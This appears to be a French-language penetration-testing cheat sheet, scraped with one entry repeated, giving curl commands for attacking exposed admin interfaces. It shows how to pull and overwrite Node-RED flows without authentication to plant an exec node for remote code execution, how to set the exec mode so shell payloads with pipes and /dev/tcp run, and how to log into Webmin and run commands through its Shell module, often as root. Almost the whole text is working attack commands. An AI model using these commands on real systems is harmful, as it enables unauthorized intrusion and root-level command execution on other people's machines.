curl -s $TARGET:1880/flows -o flows.jsonDescription: Beaucoup d'outils low-code/IoT (Node-RED, dashboards internes) exposent une API REST d'admin sans authentification par défaut. Récupérer la config existante avant de la réécrire.
Pentest Web
Des interfaces d'admin censées être internes, atteignables sans le moindre credential.
curl -s $TARGET:1880/flows -o flows.jsonDescription: Beaucoup d'outils low-code/IoT (Node-RED, dashboards internes) exposent une API REST d'admin sans authentification par défaut. Récupérer la config existante avant de la réécrire.
curl -X POST $TARGET:1880/flows -H 'Content-Type: application/json' -H 'Node-RED-Deployment-Type: full' -d @flows_evil.jsonDescription: Réécrire les flows avec un node exec câblé sur un trigger existant (ex: inject périodique) force un RCE au prochain redeploy.
# node exec: useSpawn:"true" -> spawn() direct, casse 'bash -c ...'. useSpawn:"false" -> /bin/sh -c, syntaxe shell complète (pipes, /dev/tcp)Description: Piège fréquent : un mode 'spawn direct' échoue silencieusement sur les payloads shell (pipes, redirections). Vérifier l'option d'exécution avant de conclure à un blocage réseau.
curl -c cookies.txt $TARGET:10000/session_login.cgi -d 'user=admin&pass=$PASS'Description: Login Webmin classique. Un GET initial sur / est requis avant pour récupérer les cookies testing/redirect.
curl -b cookies.txt -H "Referer: $TARGET:10000/shell/index.cgi" $TARGET:10000/shell/index.cgi -F 'cmd=id' -F 'pwd=/'Description: Webmin vérifie le header Referer sur quasi toutes les requêtes (protection CSRF native) : doit pointer vers le même host. Le module Shell exige du multipart/form-data, pas de l'urlencoded classique. Le module tourne souvent directement en root, sans besoin de CVE spécifique.